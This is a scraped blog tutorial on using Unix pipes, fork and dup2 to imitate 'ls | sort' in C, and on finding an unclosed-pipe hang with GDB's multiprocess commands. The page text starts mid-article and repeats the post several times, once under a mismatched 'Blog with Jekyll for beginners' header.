    <p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>
    
    <p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    </code></pre></div></div>
    
    <p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    </code></pre></div></div>
    
    <p>This means the first program finishes successfully, but the second one suspends and never returns!</p>
    
    <p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>
    
    <p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
    Catchpoint 1 (fork)
    </code></pre></div></div>
    
    <p>Next, go to the fork statement at line 84.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    </code></pre></div></div>
    
    <p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>
    
    <p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    </code></pre></div></div>
    
    <p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>
    
    <p>Let’s switch to first program (inferior 2) and let it finish.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    </code></pre></div></div>
    
    <p>Now only two inferiors are left.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    &lt;null&gt;            /bin/ls           
      1    process 6127      second 
    </code></pre></div></div>
    
    <p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    </code></pre></div></div>
    
    <p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>
    
    <p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>
    
    <h3 id="the-third-version">The third version</h3>
    
    <p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>
    
    <p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>
    
    <p>Now let’s test the program again.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>And here is the result on my machine,</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    </code></pre></div></div>
    
    <p>which is the same as the result of terminal.</p>
    
    <h3 id="conclusion">Conclusion</h3>
    
    <p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>
    
    <p>We learnt</p>
    
    <ul>
      <li>C and Unix skills
        <ul>
          <li>pipe</li>
          <li>fork</li>
          <li>waitpid</li>
          <li>dup</li>
        </ul>
      </li>
      <li>GDB skills
        <ul>
          <li>catch</li>
          <li>inferior</li>
        </ul>
      </li>
    </ul>
    
    
                    <hr>
    
                    <ul class="pager">
                        
                        <li class="previous">
                            <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                        </li>
                        
                        
                        <li class="next">
                            <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                        </li>
                        
                    </ul>
    
                    
                    <!-- disqus 评论框 start -->
                    <div class="comment">
                        <div id="disqus_thread" class="disqus-thread"></div>
                    </div>
                    <!-- disqus 评论框 end -->
                    
    
                </div>
    
        <!-- Sidebar Container -->
        <!--
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    sidebar-container" id="toc">
                </div>
        -->
            </div>
        </div>
    </article>
    
    
    <!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
    <script type="text/javascript">
        /* * * CONFIGURATION VARIABLES * * */
        var disqus_shortname = "pufan-jiangs-blog";
        var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
        var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";
    
        (function() {
            var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
            dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
            (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
        })();
    </script>
    <!-- disqus 公共JS代码 end -->
    
     start -->
    		<div>
    			<header>
    				<h1>Blog with Jekyll for beginners</h1>
    				<p>Feb 10, 2017</p>
    			</header>
    		
    			<article>
    				<!-- Post Header -->
    <header class="intro-header" >
        <div class="container">
            <div class="row">
                <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                    <div class="post-heading">
                        <div class="tags">
                            
                            <a class="tag" href="/tags/#c" title="c">c</a>
                            
                            <a class="tag" href="/tags/#unix" title="unix">unix</a>
                            
                            <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                            
                            <a class="tag" href="/tags/#system" title="system">system</a>
                            
                        </div>
                        <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                        
                        
                        <h2 class="subheading"></h2>
                        
                        <span class="meta">Posted on February 3, 2017</span>
                        <span class="meta">Updated on February 3, 2017</span>
                    </div>
                </div>
            </div>
        </div>
    </header>
    
    <!-- Post Content -->
    <article>
        <div class="container">
            <div class="row">
    
        <!-- Post Container -->
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    post-container">
    
    				<p>In this article, we’ll walk through a simple example showing</p>
    
    <ul>
      <li>how to use unix pipe for inter-process communication</li>
      <li>how to debug a program of three processes using GDB</li>
    </ul>
    
    <!-- excerpt -->
    <hr />
    <hr />
    
    <h3 id="pre-requists">Pre-requists</h3>
    
    <ul>
      <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
      <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
      <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
      <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
    </ul>
    
    <h3 id="the-problem">The problem</h3>
    
    <p>The problem is to</p>
    
    <ol>
      <li>load two pre-built programs</li>
      <li>stream the output of the first program to the second one</li>
      <li>print the result of the second program</li>
      <li>print a finish sentence when both programs finish</li>
    </ol>
    
    <p>For example, we want to mimic the action of such bash command:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
    </code></pre></div></div>
    
    <h3 id="the-first-version">The first version</h3>
    
    <p>Our very first version almost works, it</p>
    
    <ol>
      <li>sets up a pipe for later inter-process communication</li>
      <li>forks two processes</li>
      <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
      <li>loads the pre-built programs to the processes</li>
      <li>prints the finish sentence</li>
    </ol>
    
    <p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>
    
    <p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Here is the output:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>And this the output of pipe in terminal:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>
    
    <p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>
    
    <p>To fix the problem, let’s move on to second version.</p>
    
    <h3 id="the-second-version">The second version</h3>
    
    <p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>
    
    <p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>
    
    <p>Compile and run:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>We will find the program <strong>never</strong> finishes!</p>
    
    <p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>
    
    <p>Compile the program again with debug information and use GDB to execute the program:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
    </code></pre></div></div>
    
    <p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>
    
    <p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
    </code></pre></div></div>
    
    <p>Now use <code class="language-plaintext highlighter-rouge">next</code> command of GDB to step through the functions.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) n
    106			waitpid(pid2, NULL, 0);
    (gdb) n
    </code></pre></div></div>
    
    <p>This means the first program finishes successfully, but the second one suspends and never returns!</p>
    
    <p>In order to figure out why the second program never returns, let’s run the program again, and use <code class="language-plaintext highlighter-rouge">catch</code>, <code class="language-plaintext highlighter-rouge">inferior</code> commands to go to that child process instead of the parent process.</p>
    
    <p>First, let GDB stops when a <code class="language-plaintext highlighter-rouge">fork</code> system call is called</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) catch fork
    Catchpoint 1 (fork)
    </code></pre></div></div>
    
    <p>Next, go to the fork statement at line 84.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) r
    Starting program: second /bin/ls /usr/bin/sort
    
    Catchpoint 1 (forked process 6134), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c: No such file or directory.
    (gdb) c
    Continuing.
    [New process 6134]
    
    Catchpoint 1 (forked process 6147), 0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    130	in ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c
    (gdb) finish
    Run till exit from #0  0x00007ffff7ad5ee4 in __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:130
    [New process 6147]
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $1 = 6147
    </code></pre></div></div>
    
    <p>Notice we meet two <code class="language-plaintext highlighter-rouge">fork</code> system calls. The first one corresponds to the one at line 67, and second one is what we’re interested in.</p>
    
    <p>GDB use the concept of <em>inferior</em> to refer to threads, processes etc. To see currently running processes, just run</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
      2    process 6134      second 
    * 1    process 6127      second
    </code></pre></div></div>
    
    <p>Notice both executable names of child processes are “second”. This means the <code class="language-plaintext highlighter-rouge">/bin/ls</code> and <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code> are not loaded yet. This is because by setting <code class="language-plaintext highlighter-rouge">detach-on-fork</code> off, the newly created processes will be suspended by default.</p>
    
    <p>Let’s switch to first program (inferior 2) and let it finish.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 2
    ...
    (gdb) c
    Continuing.
    process 6134 is executing new program: /bin/ls
    Reading symbols from /usr/lib/debug/lib/x86_64-linux-gnu/ld-2.19.so...done.
    [Inferior 2 (process 6134) exited normally]
    </code></pre></div></div>
    
    <p>Now only two inferiors are left.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) info inferiors 
      Num  Description       Executable        
      3    process 6147      second 
    * 2    &lt;null&gt;            /bin/ls           
      1    process 6127      second 
    </code></pre></div></div>
    
    <p>The process 6147 (inferior 1) is the one we’re actually interested in. Let’s figure out at which statement it stucks.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 3
    ...
    (gdb) finish
    Run till exit from #0  __libc_fork () at ../nptl/sysdeps/unix/sysv/linux/x86_64/../fork.c:137
    0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    Value returned is $2 = 0
    (gdb) n
    88		    	if (-1 == close(pipefd[1])) {
    (gdb) n
    94		    	if (-1 == dup2(pipefd[0], STDIN_FILENO)) {
    (gdb) n
    98		    	run(program2);
    (gdb) n
    
    </code></pre></div></div>
    
    <p>The program seems stuck when executing <code class="language-plaintext highlighter-rouge">/usr/bin/sort</code>. A guess is input file is never closed. Let’s check.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff78e26b0 in __read_nocancel () at ../sysdeps/unix/syscall-template.S:81
    81	in ../sysdeps/unix/syscall-template.S
    (gdb) shell ls -l /proc/6147/fd
    total 0
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 0 -&gt; pipe:[91298]
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:37 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:37 3 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>Exactly! The read end of pipe is still opening! The read end should close automatically when the write end closes. The write end is closed in the first program. But it is never been closed in the parent program! And now we find out the reason of the bug!</p>
    
    <p>Just to make sure our guess is correct, let’s examine open file descriptors in parent process.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) inferior 1
    [Switching to inferior 1 [process 6127] (second)]
    [Switching to thread 1 (process 6127)] 
    #0  0x0000000000400a79 in main (argc=3, argv=0x7fffffffe438) at second.c:84
    84		else if (0 == (pid2 = fork()))
    (gdb) c
    Continuing.
    ^Z
    Program received signal SIGTSTP, Stopped (user).
    0x00007ffff7ad5a0c in __libc_waitpid (pid=6147, stat_loc=0x0, options=0) at ../sysdeps/unix/sysv/linux/waitpid.c:31
    31	../sysdeps/unix/sysv/linux/waitpid.c: No such file or directory.
    (gdb) shell ls -l /proc/6127/fd
    total 0
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 0 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 1 -&gt; /dev/pts/25
    lrwx------ 1 parallels parallels 64 Feb  3 16:29 2 -&gt; /dev/pts/25
    lr-x------ 1 parallels parallels 64 Feb  3 16:29 3 -&gt; pipe:[91298]
    l-wx------ 1 parallels parallels 64 Feb  3 16:29 4 -&gt; pipe:[91298]
    </code></pre></div></div>
    
    <p>And we know the pipe is indeed not closed in parent process. This leads us to third version.</p>
    
    <h3 id="the-third-version">The third version</h3>
    
    <p>In order to fix the bug, we need to close both ends of pipe before waiting for child processes to terminate.</p>
    
    <p>The third version is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/third.c">here</a>.</p>
    
    <p>Now let’s test the program again.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o third third.c 
    ./third /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>And here is the result on my machine,</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>README.md
    first.c
    second.c
    third
    third.c
    Run two programs succeeded!
    </code></pre></div></div>
    
    <p>which is the same as the result of terminal.</p>
    
    <h3 id="conclusion">Conclusion</h3>
    
    <p>In this article, we walk through a simple example that create two processes and load one binary image for each process. Additionally, we use GDB for debugging a bug in multi-process environment.</p>
    
    <p>We learnt</p>
    
    <ul>
      <li>C and Unix skills
        <ul>
          <li>pipe</li>
          <li>fork</li>
          <li>waitpid</li>
          <li>dup</li>
        </ul>
      </li>
      <li>GDB skills
        <ul>
          <li>catch</li>
          <li>inferior</li>
        </ul>
      </li>
    </ul>
    
    
                    <hr>
    
                    <ul class="pager">
                        
                        <li class="previous">
                            <a href="/2016/04/20/concurrency-vs-parallelism/" data-toggle="tooltip" data-placement="top" title="Concurrency vs. Parallelism">&larr; Previous Post</a>
                        </li>
                        
                        
                        <li class="next">
                            <a href="/2017/02/10/blog-with-Jekyll-for-beginner/" data-toggle="tooltip" data-placement="top" title="Blog with Jekyll for beginners">Next Post &rarr;</a>
                        </li>
                        
                    </ul>
    
                    
                    <!-- disqus 评论框 start -->
                    <div class="comment">
                        <div id="disqus_thread" class="disqus-thread"></div>
                    </div>
                    <!-- disqus 评论框 end -->
                    
    
                </div>
    
        <!-- Sidebar Container -->
        <!--
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    sidebar-container" id="toc">
                </div>
        -->
            </div>
        </div>
    </article>
    
    
    <!-- disqus 公共JS代码 start (一个网页只需插入一次) -->
    <script type="text/javascript">
        /* * * CONFIGURATION VARIABLES * * */
        var disqus_shortname = "pufan-jiangs-blog";
        var disqus_identifier = "/2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB";
        var disqus_url = "http://otnt.github.io//2017/02/03/Inter-process-communication-using-pipe-and-multiprocess-debugging-using-GDB/";
    
        (function() {
            var dsq = document.createElement('script'); dsq.type = 'text/javascript'; dsq.async = true;
            dsq.src = '//' + disqus_shortname + '.disqus.com/embed.js';
            (document.getElementsByTagName('head')[0] || document.getElementsByTagName('body')[0]).appendChild(dsq);
        })();
    </script>
    <!-- disqus 公共JS代码 end -->
    
    
    			</article>
    		</div>
    		<!-- Replace <!-- Post Header -->
    <header class="intro-header" >
        <div class="container">
            <div class="row">
                <div class="col-lg-8 col-lg-offset-2 col-md-10 col-md-offset-1">
                    <div class="post-heading">
                        <div class="tags">
                            
                            <a class="tag" href="/tags/#c" title="c">c</a>
                            
                            <a class="tag" href="/tags/#unix" title="unix">unix</a>
                            
                            <a class="tag" href="/tags/#gdb" title="gdb">gdb</a>
                            
                            <a class="tag" href="/tags/#system" title="system">system</a>
                            
                        </div>
                        <h1>Inter-process communication using pipe and multiprocess debugging using GDB</h1>
                        
                        
                        <h2 class="subheading"></h2>
                        
                        <span class="meta">Posted on February 3, 2017</span>
                        <span class="meta">Updated on February 3, 2017</span>
                    </div>
                </div>
            </div>
        </div>
    </header>
    
    <!-- Post Content -->
    <article>
        <div class="container">
            <div class="row">
    
        <!-- Post Container -->
                <div class="
                    col-lg-8 col-lg-offset-2
                    col-md-10 col-md-offset-1
                    post-container">
    
    				<p>In this article, we’ll walk through a simple example showing</p>
    
    <ul>
      <li>how to use unix pipe for inter-process communication</li>
      <li>how to debug a program of three processes using GDB</li>
    </ul>
    
    <!-- excerpt -->
    <hr />
    <hr />
    
    <h3 id="pre-requists">Pre-requists</h3>
    
    <ul>
      <li>experience using pipe in terminal/bash, and understand basic concept of pipe (checkout the video <a href="https://www.youtube.com/watch?v=tc4ROCJYbm0">Unix intro</a>)</li>
      <li>experience using GDB, know how to set breakpoints (checkout <a href="https://sourceware.org/gdb/onlinedocs/gdb/index.html#Top">GDB tutorial</a>)</li>
      <li>c language readability (espicially <code class="language-plaintext highlighter-rouge">fork</code>, <code class="language-plaintext highlighter-rouge">exec</code>)</li>
      <li>understand I/O redirect (checkout <code class="language-plaintext highlighter-rouge">man dup</code>)</li>
    </ul>
    
    <h3 id="the-problem">The problem</h3>
    
    <p>The problem is to</p>
    
    <ol>
      <li>load two pre-built programs</li>
      <li>stream the output of the first program to the second one</li>
      <li>print the result of the second program</li>
      <li>print a finish sentence when both programs finish</li>
    </ol>
    
    <p>For example, we want to mimic the action of such bash command:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /bin/sort
    </code></pre></div></div>
    
    <h3 id="the-first-version">The first version</h3>
    
    <p>Our very first version almost works, it</p>
    
    <ol>
      <li>sets up a pipe for later inter-process communication</li>
      <li>forks two processes</li>
      <li>modifies pipe for each process, so that the input/output is correctly redirected</li>
      <li>loads the pre-built programs to the processes</li>
      <li>prints the finish sentence</li>
    </ol>
    
    <p>The C file is <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/first.c">here</a>.</p>
    
    <p>Compile and run the program (assuming you have <code class="language-plaintext highlighter-rouge">gcc</code> installed). Notice you may need to modify positions for <code class="language-plaintext highlighter-rouge">ls</code> and <code class="language-plaintext highlighter-rouge">sort</code> programs if the belowing positions do not work.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o first first.c
    ./first /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Here is the output:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>Run two programs succeeded!
    README.md                                                                                                                                                                            
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>And this the output of pipe in terminal:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>/bin/ls | /usr/bin/sort 
    
    README.md
    a.out
    first
    first.c
    </code></pre></div></div>
    
    <p>We see the two outputs are exactly the same! Congratulations… But the finish sentence appears on top of the output instead of at the end.</p>
    
    <p>This is mainly because of printing a simple sentence usually runs much faster than loading and executing two small programs.</p>
    
    <p>To fix the problem, let’s move on to second version.</p>
    
    <h3 id="the-second-version">The second version</h3>
    
    <p>At first glance, we may think it extremely easy to fix the problem: just add wait statement in the last <code class="language-plaintext highlighter-rouge">else</code> branch, so that the main program will print the finish sentence after child processes finish.</p>
    
    <p>The second version is at <a href="https://github.com/otnt/inter-process-communication-using-pipe/blob/master/second.c">here</a>. Notice the only difference is two additional lines (105-106).</p>
    
    <p>Compile and run:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -o second second.c
    ./second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>We will find the program <strong>never</strong> finishes!</p>
    
    <p>Instead of telling you why the program breaks, we will use GDB to find out the reason together.</p>
    
    <p>Compile the program again with debug information and use GDB to execute the program:</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>gcc -g -O0 -o second second.c 
    gdb --args second /bin/ls /usr/bin/sort
    </code></pre></div></div>
    
    <p>Before everything, let’s set <code class="language-plaintext highlighter-rouge">detach-on-fork</code> environment variable of GDB to off.</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>set detach-on-fork off
    </code></pre></div></div>
    
    <p>By doint this, we could switch between processes easily. More details on this environment at <a href="https://sourceware.org/gdb/onlinedocs/gdb/Forks.html">here</a>.</p>
    
    <p>Now let’s set breakpoint at right before <code class="language-plaintext highlighter-rouge">waitpid</code> system call and run the program</p>
    
    <div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>(gdb) br second.c:105
    Breakpoint 1 at 0x400b27: file second.c, line 105.
    (gdb) r
    ...
    Breakpoint 1, main (argc=3, argv=0x7fffffffe438) at second.c:105
    105			waitpid(pid1, NULL, 0);
